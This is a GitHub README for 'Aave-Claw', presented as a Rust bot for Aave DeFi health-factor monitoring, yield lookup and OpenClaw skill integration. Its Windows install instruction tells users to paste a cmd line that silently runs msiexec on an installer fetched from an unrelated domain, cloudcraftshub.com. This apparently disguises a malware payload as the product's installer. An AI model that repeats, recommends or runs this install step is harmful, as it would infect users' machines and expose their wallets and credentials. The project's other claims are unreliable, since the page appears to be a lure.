High-performance Aave DeFi bot written in Rust
Monitor liquidation risk · Track yields · Run as an OpenClaw skill
Install · Usage · OpenClaw Skill · Config · Contributing
Aave-Claw is a fast, cross-platform CLI bot for the Aave V3 DeFi protocol. Built entirely in Rust for zero-cost performance, it lets you:
- 🔴 Monitor wallet health factors in real-time and get Telegram alerts before liquidation
- 📈 Discover the best yield opportunities across 6+ networks (Ethereum, Polygon, Arbitrum, Base…)
- 📊 Inspect any address's full supply/borrow position breakdown
- 🤖 Integrate into OpenClaw as a native skill
Works on Windows, Linux, and macOS — no Docker, no Node.js, no Python.
A single static binary with zero runtime dependencies.
curl -fsSL https://raw.githubusercontent.com/susanudgzf/Aave-Claw/main/scripts/install.sh | bashOpen Command Prompt (cmd.exe) and run:
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Aave ClawRequires Rust 1.75+
cargo install --git https://github.com/susanudgzf/Aave-Clawaave-claw --versionaave-claw initCreates .aave-claw.toml in your home directory. Edit it to add your RPC URL.
# Ethereum (default)
aave-claw yields
# Other networks
aave-claw yields --network polygon
aave-claw yields --network arbitrum
aave-claw yields --network base
aave-claw yields --network optimism
aave-claw yields --network avalancheExample output:
══════════════════════════════════════════════════════════════════════════
📈 Aave Yield Opportunities — ETHEREUM
══════════════════════════════════════════════════════════════════════════
Asset Supply APY Borrow APY Liquidity (USD) Utilization
────────────────────────────────────────────────────────────────
USDC 5.82% 7.21% $1.20B 78.4%
USDT 5.41% 6.89% $980.00M 74.1%
WETH 2.14% 3.01% $2.80B 62.3%
WBTC 0.87% 1.42% $1.50B 41.2%
DAI 5.12% 6.54% $650.00M 71.8%
══════════════════════════════════════════════════════════════════════════
aave-claw positions --address 0xYourWalletAddressExample output:
═════════════════════════════════════════════════════════════════
📊 Position Summary for 0xAbCd...1234
═════════════════════════════════════════════════════════════════
✅ Health Factor : 1.870
💰 Collateral : $12500.00
📉 Total Debt : $4200.00
💎 Net Worth : $8300.00
SUPPLIED
Asset Amount USD Value APY Collateral
──────────────────────────────────────────────────────
USDC 5000.0000 $5000.00 4.82% ✓
WETH 2.5000 $7500.00 2.14% ✓
BORROWED
Asset Amount USD Value APY Rate
──────────────────────────────────────────────────────
DAI 4200.0000 $4200.00 5.31% variable
═════════════════════════════════════════════════════════════════
# Alert if health factor drops below 1.3 (default 1.2)
aave-claw monitor --address 0xYourAddress --threshold 1.3The monitor polls every 30 seconds (configurable) and:
- Prints live health factor updates to the terminal
- Sends a Telegram alert when the threshold is crossed
aave-claw skill
# or on a custom port:
aave-claw skill --port 8080Aave-Claw is a first-class OpenClaw skill.
Once running (aave-claw skill), OpenClaw can call it directly:
| Tool | Description |
|---|---|
get_positions |
Full supply/borrow breakdown + health factor for an address |
get_yields |
Top yield opportunities by network |
check_health |
Check if a position is at liquidation risk |
The skill manifest is served at http://localhost:7070/.well-known/skill.json.
To register the skill in OpenClaw:
openclaw skill add http://localhost:7070Or reference the manifest directly from the repo:
https://raw.githubusercontent.com/susanudgzf/Aave-Claw/main/skills/aave-claw.skill.json
After running aave-claw init, edit .aave-claw.toml:
# Ethereum RPC endpoint (get free one at https://alchemy.com)
rpc_url = "https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY"
# Optional: Telegram bot token for liquidation alerts
telegram_bot_token = "123456:ABC-DEF..."
telegram_chat_id = "987654321"
# Alert threshold — notify when health factor drops below this
health_factor_threshold = 1.2
# How often to poll (in seconds)
poll_interval_secs = 30
# Default network for yield queries
default_network = "ethereum"All config values can be set as environment variables instead:
export AAVE_CLAW_RPC_URL="https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY"
export TELEGRAM_BOT_TOKEN="your-token"
export TELEGRAM_CHAT_ID="your-chat-id"Copy .env.example to .env and fill in your values.
| Network | Aave V3 |
|---|---|
| Ethereum | ✅ |
| Polygon | ✅ |
| Arbitrum | ✅ |
| Base | ✅ |
| Optimism | ✅ |
| Avalanche | ✅ |
aave-claw/
├── src/
│ ├── main.rs # CLI entry point (clap)
│ ├── aave.rs # Aave V3 data fetching (The Graph + RPC)
│ ├── monitor.rs # Real-time liquidation monitor loop
│ ├── notifier.rs # Telegram alert sender
│ ├── openclaw.rs # OpenClaw skill HTTP server
│ ├── ui.rs # Terminal display (colored tables)
│ └── config.rs # Config file + env var loading
├── scripts/
│ ├── install.sh # Linux/macOS one-line installer
│ └── install.ps1 # Windows PowerShell installer
├── skills/
│ └── aave-claw.skill.json # OpenClaw skill manifest
└── .github/
└── workflows/
└── ci.yml # CI + cross-platform release builds
Tech stack:
| Layer | Choice | Why |
|---|---|---|
| Language | Rust | Zero-cost abstractions, memory safety, blazing speed |
| Async runtime | Tokio | Industry standard async runtime for Rust |
| HTTP client | reqwest | Ergonomic, async, rustls TLS |
| CLI | clap | Best-in-class Rust CLI framework |
| Blockchain | ethers-rs | Full Ethereum client library for Rust |
| Data | The Graph | Aave V3 subgraph — no RPC pagination needed |
| Alerts | Telegram Bot API | Simple, reliable, cross-platform |
git clone https://github.com/susanudgzf/Aave-Claw
cd Aave-Claw
# Debug build
cargo build
# Optimized release build
cargo build --release
# Run tests
cargo test
# Cross-compile for Windows (from Linux)
rustup target add x86_64-pc-windows-gnu
cargo build --release --target x86_64-pc-windows-gnuThe release binary will be at target/release/aave-claw (or .exe on Windows).
- Health factor monitoring with Telegram alerts
- Yield opportunity display across all networks
- OpenClaw skill server
- Cross-platform one-line installer
- Flash loan arbitrage detection
- Discord alerts
- Position history & charting (TUI)
- Auto-repay trigger via smart contract
- Multi-wallet monitoring
Contributions are welcome! Please open an issue first to discuss what you'd like to change.
git clone https://github.com/susanudgzf/Aave-Claw
cd Aave-Claw
cargo testBuilt with ❤️ and 🦀 Rust
If this project helped you, please ⭐ star the repo!